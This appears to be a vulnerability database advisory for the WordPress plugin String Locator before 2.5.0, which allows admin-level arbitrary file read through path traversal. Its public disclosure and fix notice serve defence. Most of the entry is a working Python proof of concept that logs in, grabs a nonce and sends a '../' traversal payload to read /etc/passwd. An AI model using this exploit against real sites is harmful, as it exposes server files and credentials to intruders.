WordPress Plugin Vulnerabilities

String Locator < 2.5.0 - Admin+ Arbitrary File Read

Description

The plugin does not properly validate the path of the files to be searched, allowing high privilege users such as admin to query arbitrary files on the web server via a path traversal vector. Furthermore, due to a flaw in the search, allowing a pattern to be provided, which will be used to output the relevant matches from the matching file, all content of the file can be disclosed.

Note: The attack does not work on multisite (as admin), or when FILE_MODS is disallowed, but works when only FILE_EDIT is disallowed. Furthermore, admins should be restricted to file inside the blog, not arbitrary ones on the web server.

Proof of Concept

import requests, re

BASE_URL = "http://localhost:8000"
id = "wordpress"
pw = "wordpress"

FILENAME = "/etc/passwd"
FIND_KEYWORD = "/.*/i"

def filter(text) :
    cleanr =re.compile('<.*?>')
    cleantext = re.sub(cleanr, '', text)
    cleantext = cleantext.replace("…", "")
    return cleantext

def login(id, pw) :
    # Phase : Login (because, we need a nonce value)
    sess = requests.Session()
    sess.post(
        BASE_URL + "/wp-login.php",
        data = {
            'log': id,
            'pwd': pw,
            'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8',
            'testcookie': '1'
        }
    ).text
    
    return sess


def exploit(sess) :
    # Phase : Get nonce value
    res = sess.get(f"{BASE_URL}/wp-admin/tools.php?page=string-locator")
    res = res.text
    res = res[res.find('search_nonce"'):][15:]
    nonce = res[:res.find('"')]

    # Phase : Attack !
    res = sess.post(
        f"{BASE_URL}/wp-admin/admin-ajax.php",
        headers =  {"Content-Type": "application/x-www-form-urlencoded"},
        data = {
            "action" : "string-locator-get-directory-structure",
            "directory" : f"t-../../../../../../../{FILENAME}",
            "search" : f"{FIND_KEYWORD}",
            "regex" : "true",
            "nonce" : nonce
        },
        proxies = {"http": "http://localhost:8080"}
    )
    
    if res.json()["success"] == True :
        res = sess.post(
            f"{BASE_URL}/wp-admin/admin-ajax.php",
            headers =  {"Content-Type": "application/x-www-form-urlencoded"},
            data = {
                "action" : "string-locator-search",   
                "filenum" : "0",
                "nonce" : nonce
            },
            proxies = {"http": "http://localhost:8080"}
        )
        # print(res.text)

        for line in res.json()["data"]["search"][0][1:] : 
            print(filter(line['stringresult']))


sess = login(id, pw)
exploit(sess)

Affects Plugins

Fixed in 2.5.0

References

Classification

Type
TRAVERSAL
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
qerogram
Submitter
qerogram
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-03-01 (about 2 years ago)
Added
2022-03-01 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other